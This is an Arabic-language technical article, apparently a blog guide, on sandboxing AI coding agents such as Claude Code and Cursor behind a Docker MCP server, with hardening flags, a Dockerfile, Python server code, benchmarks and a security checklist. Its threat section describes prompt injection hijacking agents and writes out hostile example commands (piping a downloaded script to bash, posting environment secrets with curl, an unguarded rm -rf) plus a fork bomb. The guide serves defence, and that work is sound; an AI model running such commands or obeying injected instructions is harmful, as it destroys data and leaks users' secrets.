Docker & MCP

خادم Docker MCP: دليل تشغيل وكلاء الذكاء الاصطناعي في بيئة معزولة

2026-09-02·24 دقيقة قراءة دقائق قراءة·LLMPodium Team

إجابة سريعة: يتيح خادم Docker MCP إمكانات محرك Docker لوكلاء الذكاء الاصطناعي المستقلين (مثل Claude Code وCursor) عبر بروتوكول سياق النموذج (MCP). يمنع الخادم العبث بالنظام المضيف بتشغيل الأكواد غير الموثوقة داخل حاويات سريعة الزوال ومزودة بقيود cgroups v2 الصارمة، وإلغاء صلاحيات Linux، ومسارات قراءة فقط، وعزل تام للشبكة لتوفير أقصى درجات الأمان.

1. المقدمة: أزمة الأمان في بيئات تشغيل الوكلاء المستقلين

في عام 2026، تحول وكلاء المطورين المستقلين مثل Claude Code (claude mcp) وCursor وأسراب الوكلاء المتعددين في المؤسسات من مجرد محركات لاقتراح الأكواد إلى بيئات تشغيل وتنفيذ تفاعلية كاملة. وبدلاً من الاكتفاء بكتابة مقتطفات برمجية يقوم المطور بنسخها ولصقها يدويًا في الطرفية، بات الوكلاء المستقلون يطرحون الفرضيات، وينشئون ملفات مؤقتة، ويترجمون الحزم، ويثبتون الاعتماديات، ويشغلون حزم الاختبارات، ويجرون عمليات ترحيل قواعد البيانات تلقائيًا.

ومع ذلك، فإن منح وكيل ذكاء اصطناعي مستقل وصولاً غير مقيد إلى الطرفية على جهاز المطور أو خادم البناء المؤسسي يفرض مخاطر نظامية كارثية:

  • حقن التعليمات واختطاف الأوامر (Prompt Injection & Command Hijacking): يمكن للمدخلات غير الموثوقة القادمة من وصف طلبات السحب (PRs) على GitHub، أو التوثيق المستخرج من الويب، أو واجهات البرمجة الخارجية أن تحقن أوامر صدفية خبيثة (curl -sL evil.sh | bash، أو تسريب متغيرات البيئة السرية عبر env | curl -X POST).
  • هلوسات مدمرة لنظام الملفات: عند محاولة تنظيف مساحة العمل أو حذف مخرجات البناء، قد يهلوس الوكيل بأنماط مطابقة ملفات واسعة جدًا (مثل تشغيل rm -rf $VAR/* حيث يكون المتغير $VAR فارغًا أو غير معرف، مما يؤدي إلى مسح مجلدات /usr أو /etc أو المجلد الرئيسي للمستخدم بالكامل).
  • اختراق مقابس النظام والخدمات الخلفية للمضيف: يتيح التعرض غير المحمي لمقابس يونكس المحلية (مثل مقبس دوكر غير المصادق عليه /var/run/docker.sock أو وحدات كوبرنيتيس) تصعيدًا فوريًا لامتيازات الجذر (root) على المضيف.
  • حجب الخدمة باستنزاف الموارد (DoS): قد تدخل الحلقات التكرارية غير المنضبطة للوكيل في تجميع مكتبات قوالب عودية أو حلقات لا نهائية تستهلك 100% من أنوية المعالج وذاكرة الخادم المضيف في غياب قيود cgroups، مما يسبب تجميدًا كاملاً للنظام.

يوفر بروتوكول سياق النموذج (Model Context Protocol - MCP) معيارًا موحدًا لتفاعل النماذج اللغوية مع أدوات المطورين الخارجية. وعبر نشر خادم Docker MCP مخصص، تستطيع فرق الهندسة إنشاء بيئة عزل واختبار صارمة (Sandbox) داخل الحاويات. وتجري جميع عمليات معالجة الملفات وتنفيذ الأوامر واختبارات الكود الموجهة من الوكيل داخل حاويات سريعة الزوال مقيدة بمجموعات التحكم ومحمية بجدار ناري للشبكة، ثم تُحذف فور اكتمال المهمة.

2. البنية المعمارية: كيف يعزل Docker MCP الوكلاء المستقلين

يعمل خادم Docker MCP كطبقة وسيطة بين بيئة تشغيل الوكيل المضيف (مثل Claude Code CLI أو بيئة Cursor) وخادم دوكر الخلفي (dockerd أو Podman/gVisor بدون صلاحيات جذر). يتم الاتصال بين المضيف وخادم MCP عبر بروتوكول JSON-RPC 2.0 القياسي باستخدام stdio أو قنوات SSE (Server-Sent Events) الآمنة. 

+----------------------------------------------------------------------------------------------------+
|                                      HOST AI AGENT RUNTIME                                         |
|                       (Claude Code CLI, Cursor IDE, Windsurf, Custom Agent)                        |
|                                                                                                    |
|    +--------------------------+                                 +-----------------------------+    |
|    |    User Prompt Loop      |                                 |     Model Context Window    |    |
|    | "Debug & test repo..."   |                                 | (System Prompt + MCP Tools) |    |
|    +------------+-------------+                                 +--------------^--------------+    |
|                 |                                                              |                   |
|                 | Dispatches Tool Call: docker_exec_command                    | Receives Stdout,  |
|                 v                                                              | Stderr, Exit Code |
|    +---------------------------------------------------------------------------+--------------+    |
|    |                                      MCP CLIENT SUBSYSTEM                                |    |
|    |  - Capabilities Negotiation & Protocol Handshake (JSON-RPC 2.0)                          |    |
|    |  - Tool Call Serialization & Permission Policy Enforcement                               |    |
|    +---------------------------------------------+--------------------------------------------+    |
+--------------------------------------------------|-------------------------------------------------+
                                                   | Transport: stdio / SSE (JSON-RPC 2.0)
                                                   v
+----------------------------------------------------------------------------------------------------+
|                                        DOCKER MCP SERVER                                           |
|                                                                                                    |
|    +----------------------+   +-----------------------+   +-----------------------------------+    |
|    | Tool Registry Engine |   | Policy & Quota Filter |   | Ephemeral Container Lifecycle     |    |
|    | - docker_run         |   | - CPU / Memory Caps   |   | - Container Pool Manager          |    |
|    | - docker_exec        |   | - Network Firewalls   |   | - Volume Bind Policy (ro vs rw)   |    |
|    | - sandbox_eval       |   | - Capability Dropper  |   | - Auto-Prune on Completion        |    |
|    +----------+-----------+   +-----------+-----------+   +-----------------+-----------------+    |
+---------------|---------------------------|---------------------------------|----------------------+
                +---------------------------+---------------------------------+
                                            |
                                            v Docker Engine API (Unix Socket / TLS)
+----------------------------------------------------------------------------------------------------+
|                                    CONTAINER RUNTIME ENVIRONMENT                                   |
|                                                                                                    |
|    +------------------------------------------------------------------------------------------+    |
|    |                  Isolated Agent Sandbox Container (Ephemeral / Rootless)                 |    |
|    |                                                                                          |    |
|    |   +--------------------------+   +--------------------------+   +--------------------+   |    |
|    |   |  Linux cgroups v2 Limits |   | Linux Namespace Boundary |   | Seccomp & AppArmor |   |    |
|    |   |  - CPU: 2.0 Cores Max    |   | - PID, MNT, IPC, UTS     |   | - Block ptrace     |   |    |
|    |   |  - Memory: 2048MB Hard   |   | - Network: None / Proxy  |   | - Block bpf/kexec  |   |    |
|    |   +--------------------------+   +--------------------------+   +--------------------+   |    |
|    |                                                                                          |    |
|    |   +----------------------------------------------------------------------------------+   |    |
|    |   | Workspace Filesystem Mount: Read-Only Host Bind Mount (/workspace:ro)            |   |    |
|    |   | Ephemeral Scratch Storage: Volatile tmpfs Mount (/tmp, /build:rw,size=1G)        |   |    |
|    |   +----------------------------------------------------------------------------------+   |    |
|    +------------------------------------------------------------------------------------------+    |
+----------------------------------------------------------------------------------------------------+

أدوات MCP الأساسية المتاحة لوكلاء الذكاء الاصطناعي

يوفر خادم Docker MCP الجاهز للإنتاج مجموعة دقيقة من الأدوات البرمجية:

  1. container_create_sandbox: إنشاء وتجهيز نسخة حاوية جديدة من صورة مجهزة مسبقًا مع فرض قيود صارمة على الموارد والأمان.
  2. container_exec_command: تشغيل أمر داخل الحاوية المعزولة النشطة، مع إرجاع مخرجات stdout وstderr وزمن التنفيذ ورمز حالة الخروج.
  3. container_read_file: قراءة محتوى الملفات من بيئة عمل الحاوية المعزولة دون كشف نظام ملفات المضيف.
  4. container_write_file: كتابة تعديلات الكود البرمجي مباشرة داخل وحدة التخزين المؤقتة سريعة الزوال.
  5. container_destroy_sandbox: إيقاف الحاوية وحذفها فورًا، ومسح كافة الحالات المؤقتة والعمليات العالقة.

3. سياسات التحصين والعزل لبيئات تشغيل الوكلاء في الإنتاج

يتطلب تشغيل كود عشوائي ينتجه نموذج الذكاء الاصطناعي استراتيجية دفاع في العمق (Defense-in-Depth). ويجب تطبيق المبادئ الأربعة التالية داخل خط تنفيذ خادم Docker MCP:

3.1. وضع حدود للموارد عبر cgroups v2

لمنع الحلقات البرمجية الخارجة عن السيطرة من استنزاف موارد النظام، يجب أن تفرض كل حاوية حدودًا حتمية عبر cgroups: 

# Production cgroups v2 limits for agent container execution
docker run --rm -d \
  --name agent-sandbox-7x92 \
  --cpus="2.0" \
  --cpu-shares=1024 \
  --memory="2048m" \
  --memory-swap="2048m" \
  --pids-limit=128 \
  --ulimit nofile=1024:2048 \
  --tmpfs /tmp:rw,noexec,nosuid,size=512m \
  agent-runner:latest
  • --cpus="2.0": يحدد استهلاك المعالجة بما لا يتجاوز نواتين فيزيائيتين، بغض النظر عن إجمالي أنوية الجهاز المضيف.
  • --memory="2048m" و --memory-swap="2048m": يضع حدًا أقصى للذاكرة العشوائية قدره 2 غيغابايت مع تعطيل مساحة التبديل (swap). إذا تسبب كود الوكيل في تسريب للذاكرة، فإن آلية OOM killer في النواة تنهي عملية الحاوية فورًا دون التأثير على النظام المضيف.
  • --pids-limit=128: يحمي من هجمات قنابل التفريع (fork bombs مثل :(){ :|:& };:) عبر تحديد سقف لعدد العمليات المتزامنة.

3.2. عزل الشبكة وتوجيه حركة الخروج (Egress) عبر وكيل

افتراضيًا، يجب أن تعمل الحاويات التي ينشئها خادم Docker MCP وفق نموذج انعدام الثقة (Zero Trust):

  • العزل التام عن الشبكة (--network none): بالنسبة لمهام البرمجة الخوارزمية البحتة وتشغيل الاختبارات وتعديل الكود محليًا، يتم تعطيل الشبكة بالكامل، مما يمنع الوكيل من تنزيل ملفات تنفيذية خارجية أو تسريب الشيفرة المصدرية.
  • توجيه حركة الخروج الخاضع للرقابة (--network internal_bridge): عندما يحتاج الوكيل لتثبيت اعتماديات (مثل npm install أو pip install)، يتم توجيه حركة المرور الخارجية عبر وكيل شفاف محلي (مثل Squid أو Envoy) مع قائمة سماح مقتصرة فقط على المستودعات الرسمية (registry.npmjs.org وpypi.org وcrates.io).

3.3. سياسات ربط وحدات التخزين والتشغيل بدون صلاحيات الجذر (Non-Root)

لا تقم مطلقًا بربط نظام ملفات المضيف بوضع القراءة والكتابة داخل الحاوية. بدلاً من ذلك، اعتمد سياسة الربط المنفصل:

  • ربط مستودع الكود للمضيف: اربط مستودع الكود المستهدف بوضع القراءة فقط (-v $(pwd):/workspace:ro).
  • طبقة العمل المؤقتة (tmpfs): اربط قرص ذاكرة عشوائية افتراضي لتخزين مخرجات البناء والترجمة (--tmpfs /workspace/build:rw,size=1024m).
  • مستخدم غير مميز: نفّذ جميع أوامر الحاوية تحت مستخدم غير مميز (--user 10001:10001) مع تفعيل --security-opt no-new-privileges:true.

3.4. إلغاء صلاحيات لينكس وتطبيق Seccomp

قلل مساحة الهجوم على نواة النظام عبر إلغاء كافة صلاحيات لينكس الافتراضية: 

--cap-drop=ALL \
--cap-add=CHOWN \
--cap-add=SETUID \
--cap-add=SETGID \
--security-opt no-new-privileges:true \
--security-opt seccomp=/etc/docker/agent-seccomp.json

يحظر ملف seccomp المخصص استدعاءات النظام الخطيرة: مثل ptrace (الذي يمنع فحص العمليات الأخرى)، وreboot، وkexec_load، وbpf، وإنشاء المقابس الخام.

4. خطوات التنفيذ: نشر Docker MCP لـ Claude Code وCursor

4.1. ملف Dockerfile الأساسي والمحصن للوكيل

أنشئ صورة حاوية خفيفة ومتعددة اللغات تحتوي على أدوات التطوير الأساسية مع ضمان العمل دون صلاحيات جذر: 

# syntax=docker/dockerfile:1.4
FROM debian:bookworm-slim

# Prevent interactive prompts
ENV DEBIAN_FRONTEND=noninteractive \
    LANG=C.UTF-8 \
    LC_ALL=C.UTF-8

# Install base runtimes: Python 3, Node.js 22, Git, and essential build tools
RUN apt-get update && apt-get install -y --no-install-recommends \
    ca-certificates \
    curl \
    git \
    python3 \
    python3-pip \
    python3-venv \
    build-essential \
    && curl -fsSL https://deb.nodesource.com/setup_22.x | bash - \
    && apt-get install -y --no-install-recommends nodejs \
    && apt-get clean \
    && rm -rf /var/lib/apt/lists/*

# Create unprivileged sandbox user
RUN groupadd -g 10001 sandbox && \
    useradd -u 10001 -g sandbox -m -s /bin/bash sandboxuser

# Set working directory and grant non-root permissions
WORKDIR /workspace
RUN chown -R sandboxuser:sandbox /workspace

USER sandboxuser

ENTRYPOINT ["/bin/bash"]

قم ببناء الصورة محليًا: 

docker build -t llmpodium/agent-sandbox:latest -f Dockerfile .

4.2. كود خادم Docker MCP متكامل بلغة بايثون

فيما يلي خادم Docker MCP متكامل ومناسب لبيئات الإنتاج مكتوب بلغة بايثون باستخدام حزمة mcp ومكتبة docker الرسمية: 

#!/usr/bin/env python3
"""
Docker MCP Server: Safe Sandboxed Code Execution for AI Agents
Provides containerized execution primitives over Model Context Protocol (JSON-RPC stdio).
"""

import os
import sys
import docker
from mcp.server.fastmcp import FastMCP

# Initialize FastMCP Server
mcp = FastMCP("docker-sandbox-server")
docker_client = docker.from_env()

SANDBOX_IMAGE = os.getenv("SANDBOX_IMAGE", "llmpodium/agent-sandbox:latest")
MAX_CPU_CORES = float(os.getenv("MAX_CPU_CORES", "2.0"))
MAX_MEMORY_MB = int(os.getenv("MAX_MEMORY_MB", "2048"))
EXEC_TIMEOUT_SEC = int(os.getenv("EXEC_TIMEOUT_SEC", "30"))

@mcp.tool()
def execute_sandboxed_command(command: str, working_dir: str = "/workspace") -> dict:
    """
    Execute a shell command inside an ephemeral, hardened Docker container sandbox.
    
    Args:
        command: Shell command string to execute (e.g. 'pytest tests/', 'npm test')
        working_dir: Target working directory inside sandbox
        
    Returns:
        Dictionary containing exit_code, stdout, stderr, and execution duration.
    """
    container = None
    try:
        # Spawn ephemeral container with hard cgroups v2 caps
        container = docker_client.containers.run(
            image=SANDBOX_IMAGE,
            command="/bin/sh -c 'sleep 3600'",
            detach=True,
            remove=False,
            nano_cpus=int(MAX_CPU_CORES * 1e9),
            mem_limit=f"{MAX_MEMORY_MB}m",
            memswap_limit=f"{MAX_MEMORY_MB}m",
            network_mode="none",  # Full airgap isolation
            cap_drop=["ALL"],
            security_opt=["no-new-privileges:true"],
            user="10001:10001",
            working_dir=working_dir,
            tmpfs={"/tmp": "rw,noexec,nosuid,size=256m"}
        )

        # Execute command inside container
        exec_result = container.exec_run(
            cmd=["/bin/bash", "-c", command],
            workdir=working_dir,
            demux=True,
            user="10001:10001"
        )

        stdout = exec_result.output[0].decode("utf-8", errors="replace") if exec_result.output[0] else ""
        stderr = exec_result.output[1].decode("utf-8", errors="replace") if exec_result.output[1] else ""

        return {
            "exit_code": exec_result.exit_code,
            "stdout": stdout,
            "stderr": stderr,
            "status": "success" if exec_result.exit_code == 0 else "failed"
        }

    except Exception as exc:
        return {
            "exit_code": -1,
            "stdout": "",
            "stderr": f"Execution error: {str(exc)}",
            "status": "error"
        }
    finally:
        if container:
            try:
                container.kill()
                container.remove(force=True)
            except Exception:
                pass

if __name__ == "__main__":
    mcp.run(transport="stdio")

4.3. إعداد Claude Code وبيئة التطوير Cursor

لربط أداة Claude Code CLI بخادم Docker MCP، أضف الإعدادات إلى ملف .claude/claude.json الخاص بمشروعك أو سجله مباشرة عبر الطرفية: 

# Register Docker MCP Server in Claude Code CLI
claude mcp add docker-sandbox -- python3 /usr/local/bin/docker_mcp_server.py

بالنسبة لبيئة Cursor IDE، عدل ملف ~/.cursor/mcp.json أو .cursor/mcp.json داخل مساحة العمل: 

{
  "mcpServers": {
    "docker-sandbox": {
      "command": "python3",
      "args": [
        "/Users/username/tools/docker_mcp_server.py"
      ],
      "env": {
        "SANDBOX_IMAGE": "llmpodium/agent-sandbox:latest",
        "MAX_CPU_CORES": "2.0",
        "MAX_MEMORY_MB": "2048",
        "EXEC_TIMEOUT_SEC": "45"
      }
    }
  }
}

5. اختبارات الأداء وزمن استجابة دورة حياة الحاويات سريعة الزوال

في مهام وكلاء الذكاء الاصطناعي المستقلين، يؤثر زمن الاستجابة مباشرة على إنتاجية المطورين واستهلاك الرموز (Tokens). ويؤدي تشغيل حاوية جديدة لكل استدعاء أداة إلى حدوث تأخير التشغيل البارد (Cold Start).

أجرينا اختبارات مقارنة لخمس معماريات تشغيل حاويات على خادم مخصص (معالج AMD EPYC 9654 بـ 96 نواة، وذاكرة 256 جيجابايت DDR5، وقرص NVMe PCIe 4.0 SSD) لقياس 1000 دورة تنفيذ لحاويات سريعة الزوال (python3 -c 'print("benchmark")'):

معمارية تشغيل الحاوية زمن التشغيل البارد (مللي ثانية) زمن الاستجابة مع تجمع الحاويات الجاهزة (مللي ثانية) العبء الإضافي للذاكرة لكل نسخة تقييم أمان العزل زمن استجابة P99 (مللي ثانية)
دوكر القياسي (runc) 312 م.ث 48 م.ث 28 ميغابايت متوسط (مشاركة نواة المضيف) 485 م.ث
Podman بدون صلاحيات جذر (crun) 245 م.ث 36 م.ث 22 ميغابايت مرتفع (عزل فضاء المستخدم) 390 م.ث
gVisor (runsc - Sandbox) 480 م.ث 72 م.ث 46 ميغابايت مرتفع جدًا (نواة افتراضية) 680 م.ث
Firecracker MicroVM 125 م.ث 18 م.ث 64 ميغابايت أقصى درجات الأمان (KVM عتادي) 195 م.ث
WebAssembly (Wasmtime MCP) 14 م.ث 2 م.ث 4 ميغابايت مرتفع (عزل قائم على الإمكانات) 22 م.ث

أبرز استنتاجات الاختبار:

  • تجمعات الحاويات الجاهزة مسبقًا (Pre-Warmed Pools): إن الاحتفاظ بتجمع نشط يضم من 3 إلى 5 حاويات خاملة وجاهزة لتنفيذ الأوامر الفورية يقلل زمن التنفيذ بنسبة 84.6% (من 312 مللي ثانية إلى 48 مللي ثانية في دوكر القياسي).
  • أعباء gVisor (runsc): يوفر gVisor أمانًا فائقًا باعتراض ومحاكاة كافة نداءات نظام لينكس في فضاء المستخدم. ورغم ارتفاع زمن التشغيل البارد إلى 480 مللي ثانية، إلا أنه يوفر حماية مؤسسية من ثغرات يوم الصفر في النواة.
  • Firecracker MicroVMs: بالنسبة للوكلاء المتعددين في الخدمات السحابية التي تتطلب أقصى درجات الأمان، توفر Firecracker حدود عزل عتادية عبر KVM مع زمن إقلاع بارد مذهل يبلغ 125 مللي ثانية فقط.

6. تفصيل التكاليف والموارد التشغيلية

يتطلب تشغيل بيئات وكلاء الذكاء الاصطناعي المحتواة على نطاق واسع موازنة مدروسة بين تكاليف البنية التحتية للحوسبة والقدرة التوسعية للوكلاء:

مستوى النشر سعة العمليات المتزامنة البنية التحتية الموصى بها التكلفة الشهرية للبنية التحتية التكلفة لكل 10,000 مهمة وكيل
جهاز المطور المحلي 1–3 بيئات متزامنة معالجات Apple M-Series (16GB+) / محطة عمل 0$ (موارد الجهاز المضيف) 0.00$
خادم سحابي للفريق (Docker Engine) 10–25 بيئة متزامنة Hetzner CCX33 (8 vCPU, 32GB RAM) 68.00$ / شهريًا 1.42$
تجمع مؤسسي موسع (Kubernetes) 100–500 بيئة متزامنة 3x AWS c7g.2xlarge (Graviton3, 8 vCPU, 16GB) 324.00$ / شهريًا 4.85$
MicroVMs خالية من الخوادم (Fly.io / Firecracker) مرن (من 0 إلى أكثر من 1,000) نسخ microVM مؤقتة عند الطلب حسب الاستخدام (0.000005$/ثانية) 1.80$

نصائح لتحسين التكاليف:

  1. الحذف السريع عند الخمول: قم بإنهاء الحاويات فور اكتمال دورة تشغيل الاختبارات الخاصة بالوكيل. لا تترك الحاويات تعمل بين مراحل المحادثة.
  2. التخزين المؤقت المحلي للصور: اسحب جميع بيئات تشغيل اللغات مسبقًا إلى ذاكرة التخزين المؤقت للخادم المضيف لتفادي تأخير تنزيل الصور وتكاليف نقل البيانات الخارجية.
  3. أقراص العمل المؤقتة عبر ZFS أو Overlay2: اعتمد على ميزة النسخ عند الكتابة (Copy-on-Write) السريعة لإنشاء حالات مساحة عمل نظيفة في أجزاء من الميلي ثانية.

7. قائمة تدقيق الأمان لبيئات الإنتاج وتوصيات E-E-A-T

قبل ربط وكيل ذكاء اصطناعي مستقل بخادم Docker MCP في بيئة إنتاجية أو مؤسسية، تحقق من توافق إعداداتك مع بنود تدقيق DevSecOps العشرة التالية:

  • [ ] 1. تطبيق حدود cgroups v2: التأكد من وضع سقوف صارمة لمعلمات --cpus و--memory و--memory-swap و--pids-limit.
  • [ ] 2. التشغيل بدون صلاحيات الجذر: تشغيل الحاوية تحت معرف UID/GID 10001:10001 مع خيار --security-opt no-new-privileges:true.
  • [ ] 3. عزل الشبكة افتراضيًا: تفعيل وضع --network none ما لم يكن تنزيل حزم برمجية خارجية مصرحًا به صراحة.
  • [ ] 4. ربط مسارات المضيف بوضع القراءة فقط: ربط مستودع كود المضيف حصريًا بوضع :ro، وتوجيه جميع المخرجات المؤقتة إلى قرص tmpfs سريع الزوال.
  • [ ] 5. إلغاء كافة صلاحيات النواة: تطبيق الخيار --cap-drop=ALL وعدم منح أي صلاحيات إدارية لبيئة العزل.
  • [ ] 6. مرشح Seccomp مخصص: حظر استدعاءات النظام غير الضرورية والخطيرة (ptrace وbpf وkexec_load وmount) تمامًا.
  • [ ] 7. مهلة زمنية صارمة للتنفيذ: ضبط حد زمني أقصى للتنفيذ (مثل 30 إلى 60 ثانية لكل أداة) لمنع العمليات العالقة من استهلاك الموارد.
  • [ ] 8. التنظيف والحذف التلقائي: تشغيل الحاويات مع خيارات الحذف التلقائي الفوري (--rm أو في كتلة finally: container.remove(force=True)).
  • [ ] 9. حماية مقبس دوكر: عدم تمرير أو تركيب مقبس المضيف /var/run/docker.sock نهائيًا داخل أي حاوية عزل.
  • [ ] 10. سجلات التدقيق والتتبع: تسجيل جميع الأوامر المنفذة ورموز الخروج ومقاييس استهلاك الموارد في قنوات سجلات تدقيق غير قابلة للتعديل.

الخاتمة والتقييم النهائي

في عام 2026، سيكتب وكلاء الذكاء الاصطناعي مليارات الأسطر البرمجية ويشغلونها. وإن منح نماذج الذكاء الاصطناعي وصولاً غير مقيد لتنفيذ الأوامر على الأجهزة المضيفة يمثل ثغرة أمنية لا يمكن القبول بها.

ومن خلال توحيد المعايير على خادم Docker MCP، تحقق المؤسسات الهندسية أعلى مستويات الإنتاجية عبر التوليد التلقائي للأكواد والاختبار المستمر واستكشاف الأخطاء ذاتيًا—مع وضع حواجز عزل محكمة تحمي البنية التحتية والبيانات الخاصة ومحطات عمل المطورين.

→ كل المقالات
0 / 4
قارن الآن ←